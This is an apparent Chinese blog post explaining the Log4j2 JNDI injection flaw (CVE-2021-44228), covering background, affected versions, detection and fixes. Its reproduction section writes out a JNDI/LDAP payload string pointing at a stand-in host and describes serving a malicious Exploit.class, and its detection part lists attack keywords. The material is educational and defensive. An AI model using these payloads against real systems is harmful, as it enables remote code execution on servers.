0
点赞
收藏
分享

微信扫一扫

Log4j2漏洞

天蓝Sea 2022-03-12 阅读 63
安全

Log4j2漏洞简介

Log4j介绍

Log for Java,Apache的开源日志记录组件,不同的package打印格式不同

  • 记录日志的作用
    可以对程序的运行进行调试跟踪
    对业务操作进行记录,方便追溯
  • 基本操作
    pom引入依赖
    获得logger实例
    logger.info() debug() error() warn() …

LDAP

Lightweight Directory Access Protocol,轻量级目录访问协议(目录服务),树形目录数据库

  • 目录数据库
    目录数据库和关系数据库不同,它有优异的读性能,适合查询,但写性能差且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
  • 目录服务用途
    统一登录(OA系统、邮箱服务器、Git服务器、VPN)

JNDI

Java Naming and Directory Interface,Java命名和目录接口(命名服务接口),一个接口访问不同的命名和目录服务

  • JNDI可访问的服务
    LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS
    在这里插入图片描述

命名服务(Naming Service)

根据名字找到位置、服务、信息、资源、对象等Key-Value

  • 基本操作
    公布资源(名字和资源的映射):bind()
    用名字查找资源:lookup()

JNDI注入

JNDI动态协议转换

即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议
比如:Context初始化是RMI服务,但是lookup 的参数是LDAP服务,这个时候协议会动态转 换。

命名引用Naming Reference

  • 不在命名/目录服务本地的一个资源,叫做命名引用,对应Reference类
  • 让JNDI请求不存在的资源
  • 当JNDI客户端在本地classpath找不到这个类中,就会去指定的远程地址请求下载这个类到本地执行

Log4j2漏洞原理

Log4j2支持JNDI lookup功能从而方便的引用外部资源,从而能够进行JNDI注入
在这里插入图片描述执行完下载恶意代码后,Log4j2调用了javax/naming/spi/NamingManager.java创建实例导致恶意代码自动执行
ObjectFactory

Log4j2漏洞影响

Log4j2漏洞基于供应链已蔓延影响至虚拟化等网络基础设施,受到影响的项目非常多

  • CVE-2021-44228影响版本
    使用了Log4j2的组件,并且版本在2.x <= 2.14.1,JDK版本小于8u191、7u201、6u211

Log4j2漏洞排查方法

手动排查

  • pom版本检查
  • 通过检查日志中是否存在"jndi:ldap://"、“jndi:rmi”、"dnslog.cn"等字符来发现可能的攻击行为
  • 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息

排查工具

  • https://static.threatbook.cn/tools/log4j-local-check.sh
  • https://sca.seczone.cn/allScanner.zip

Log4j2漏洞复现

  1. 攻击者启动LDAP目录服务监听LDAP端口(或使用marshalsec工具包),启动远程HTTP服务器
    启动LDAP服务在这里插入图片描述
  2. 攻击者在HTTP请求传入 ${jndi:ldap://test.com:port/test},向使用Log4j记录的JNDI接口请求LDAP服务器不存在的资源
    在这里插入图片描述
  3. 从恶意HTTP服务器地址动态加载对象http://ip:port/#Exploit
    在这里插入图片描述
  4. Exploit.class下载到受害者本地,并执行恶意类打开计算器

Log4j2 RCE漏洞修复

  1. 禁止用户请求参数出现攻击关键字–安全产品(WAF、RASP等)
  2. 禁止lookup下载远程文件(命名引用)
  3. 禁止Log4j的应用连接外网
  4. 禁止Log4j使用lookup
  5. 从Log4j jar包中删除lookup(2.10以下)
  • Log4j框架升级到2.17.1版本
    1)默认不再支持二次跳转(命名引用)的方式获取对象
    2)只有在log4j2.allowedLdapClasses列表中指定的class才能获取
    3)只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表指定的地址才能获取
  • 其他方案
    升级JDK
    修改log4j配置:(1)设置参数log4j2.formatMsgNoLookups=True (2)修改JVM参数Dlog4j2.formatMsgNoLookups=true (3)系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_ LOOKUPS设置为true (4)禁止log4j2 所在服务器外连
举报

相关推荐

0 条评论